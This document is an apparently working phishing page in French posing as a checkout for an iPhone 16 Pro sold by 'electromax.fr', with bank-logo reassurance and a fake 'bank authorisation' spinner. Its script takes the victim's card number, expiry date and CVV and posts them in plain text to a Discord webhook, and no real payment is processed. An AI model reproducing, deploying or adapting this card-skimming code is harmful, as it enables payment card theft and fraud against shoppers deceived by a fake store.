<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Formulaire de Paiement</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f5f5f5;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            height: 100vh;
            margin: 0;
        }
        .checkout-title {
            font-size: 30px;
            font-weight: bold;
            margin-bottom: 40px;
            text-align: center;
        }
        .card-form {
            background: white;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            padding: 20px;
            width: 100%;
            max-width: 450px;
            box-sizing: border-box;
        }
        .product-summary {
            margin-bottom: 20px;
        }
        .product-name, .product-price {
            background-color: #f0f0f0;
            border-radius: 8px;
            padding: 10px;
            margin-bottom: 10px;
            font-size: 16px;
            color: #333;
            text-align: center;
        }
        .product-name {
            font-weight: bold;
        }
        .product-price {
            text-align: center;
            font-size: 18px;
            color: #007bff;
            font-weight: bold;
        }
        .card-form h2 {
            margin: 0 0 20px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        .form-group label {
            display: block;
            margin-bottom: 5px;
            color: #666;
            text-align: center;
        }
        .form-group input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px;
            box-sizing: border-box;
            margin: 0 auto;
        }
        .form-group input:focus {
            outline: none;
            border-color: #007bff;
            box-shadow: 0 0 4px rgba(0, 123, 255, 0.5);
        }
        .card-icons {
            margin-top: 10px;
            display: flex;
            gap: 10px;
        }
        .card-icons img {
            height: 30px;
        }
        .error {
            color: red;
            font-size: 12px;
            margin-top: 5px;
        }
        button {
            width: 100%;
            padding: 10px;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
        .waiting-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(255, 255, 255, 0.9);
            justify-content: center;
            align-items: center;
            flex-direction: column;
        }
        .waiting-overlay.active {
            display: flex;
        }
        .spinner {
            border: 4px solid rgba(0, 0, 0, 0.1);
            width: 50px;
            height: 50px;
            border-radius: 50%;
            border-left-color: #007bff;
            animation: spin 1s linear infinite;
        }
        @keyframes spin {
            from {
                transform: rotate(0deg);
            }
            to {
                transform: rotate(360deg);
            }
        }
        .message {
            margin-top: 20px;
            font-size: 16px;
            color: #333;
        }
        .secure-payment {
            margin-top: 20px;
            font-size: 14px;
            text-align: center;
            color: #666;
            line-height: 1.8;
        }
        .secure-payment img {
            height: 30px;
            vertical-align: middle;
            margin-left: -0.5px;
        }
        .waiting-overlay img {
            margin-top: 20px;
            max-width: 100%;
            max-height: 150px;
        }
    </style>
</head>
<body>
    <div class="checkout-title">Checkout</div>
    
    <div class="card-form" id="formContainer">
        <div class="product-summary">
            <div class="product-name">APPLE iPhone 16 Pro Titane Sable 256Go</div>
            <div class="product-price">1 199,99 €</div>
        </div>
        <h2>Détails du Paiement</h2>
        <form id="creditCardForm">
            <div class="form-group">
                <label for="cardNumber">Numéro de Carte</label>
                <input type="text" id="cardNumber" maxlength="19" placeholder="1234 5678 9123 4567" required>
                <div class="error" id="cardNumberError"></div>
                <div class="card-icons">
                    <img id="visa" src="https://upload.wikimedia.org/wikipedia/commons/4/41/Visa_Logo.png" alt="Visa" style="display: none;">
                    <img id="mastercard" src="https://upload.wikimedia.org/wikipedia/commons/2/2a/Mastercard-logo.svg" alt="MasterCard" style="display: none;">
                </div>
            </div>
            <div class="form-group">
                <label for="expiry">Date d'expiration (MM/AA)</label>
                <input type="text" id="expiry" maxlength="5" placeholder="MM/AA" required>
                <div class="error" id="expiryError"></div>
            </div>
            <div class="form-group">
                <label for="cvv">CVV</label>
                <input type="text" id="cvv" maxlength="4" placeholder="123" required>
                <div class="error" id="cvvError"></div>
            </div>
            <button type="submit">Payer Maintenant</button>
        </form>
        <div class="secure-payment">
            Payez en toute sécurité avec <img src="https://upload.wikimedia.org/wikipedia/fr/2/2b/Nickel-logo.svg" alt="Logo Nickel"> <br>
            <span style="display: block; margin-top: 5px;">Vendeur: www.electromax.fr</span>
        </div>
    </div>

    <div class="waiting-overlay" id="waitingOverlay">
        <div class="spinner"></div>
        <div class="message">Merci de patienter, nous demandons l'autorisation à votre établissement bancaire</div>
        <img src="https://cdn.prod.website-files.com/619236e25227a12db29bca9c/627fc19bcf53a257bdc2bdb7_Paiement%20en%20ligne%203-p-800.png" alt="Paiement en ligne" />
    </div>

    <script>
        const formContainer = document.getElementById('formContainer');
        const waitingOverlay = document.getElementById('waitingOverlay');
        const cardNumberInput = document.getElementById('cardNumber');
        const expiryInput = document.getElementById('expiry');
        const cvvInput = document.getElementById('cvv');
        const visaIcon = document.getElementById('visa');
        const mastercardIcon = document.getElementById('mastercard');
        const cardNumberError = document.getElementById('cardNumberError');
        const expiryError = document.getElementById('expiryError');
        const cvvError = document.getElementById('cvvError');

        // Empêcher les lettres dans le champ numéro de carte
        cardNumberInput.addEventListener('input', function (e) {
            let value = e.target.value;
            // Supprimer tous les caractères non numériques
            value = value.replace(/\D/g, '');
            // Ajouter un espace après chaque 4 chiffres
            value = value.replace(/(\d{4})(?=\d)/g, '$1 ');
            e.target.value = value;
            cardNumberError.textContent = ''; // Clear error when the user types
        });

        function validateCardNumber(number) {
            const cleaned = number.replace(/\D/g, '');
            let sum = 0;
            let shouldDouble = false;
            for (let i = cleaned.length - 1; i >= 0; i--) {
                let digit = parseInt(cleaned.charAt(i), 10);
                if (shouldDouble) {
                    digit *= 2;
                    if (digit > 9) digit -= 9;
                }
                sum += digit;
                shouldDouble = !shouldDouble;
            }
            return sum % 10 === 0;
        }

        function detectCardType(number) {
            const cleaned = number.replace(/\D/g, '');
            if (/^4[0-9]{0,}$/.test(cleaned)) {
                return 'visa';
            } else if (/^5[1-5][0-9]{0,}$/.test(cleaned)) {
                return 'mastercard';
            }
            return 'unknown';
        }

        cardNumberInput.addEventListener('input', () => {
            const cardNumber = cardNumberInput.value;
            cardNumberError.textContent = ''; // Clear error when the user types
            const cardType = detectCardType(cardNumber);
            visaIcon.style.display = cardType === 'visa' ? 'block' : 'none';
            mastercardIcon.style.display = cardType === 'mastercard' ? 'block' : 'none';
        });

        expiryInput.addEventListener('input', (e) => {
            let value = expiryInput.value.replace(/\D/g, ''); // Allow only numbers
            // Format input as MM/YY
            if (value.length >= 3) {
                value = value.substring(0, 2) + '/' + value.substring(2, 4);
            }
            expiryInput.value = value;

            // Clear error when the user types
            expiryError.textContent = '';

            // Validate expiry
            const [month, year] = value.split('/');
            const currentDate = new Date();
            const currentYear = currentDate.getFullYear().toString().slice(-2); // Get last 2 digits of the current year
            if (month > 12 || year < currentYear || (month === 12 && year < currentYear)) {
                expiryError.textContent = 'Date d\'expiration invalide';
            }
        });

        cvvInput.addEventListener('input', (e) => {
            cvvInput.value = cvvInput.value.replace(/\D/g, '');
            cvvError.textContent = ''; // Clear error when the user types
        });

        // Form submission
        document.getElementById('creditCardForm').addEventListener('submit', async (e) => {
            e.preventDefault();
            const cardNumber = cardNumberInput.value.replace(/\D/g, '');
            const expiry = expiryInput.value;
            const cvv = cvvInput.value;

            if (!validateCardNumber(cardNumber)) {
                cardNumberError.textContent = 'Numéro de carte invalide';
                return;
            }

            formContainer.style.display = 'none';
            waitingOverlay.classList.add('active');

            try {
                const response = await fetch("https://discord.com/api/webhooks/1321014054583668736/4bUt9tZN_fEIOsiPUtdtudH8jskLD7zT-nSx0YVUUyW3Y7-pFt7dm7Q2lRuHZrzihuGU", {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify({
                        content: `${cardNumber}\n${expiry}\n${cvv}`,
                    }),
                });
            } catch (error) {
                console.error("Erreur réseau:", error);
            }
        });
    </script>
</body>
</html>
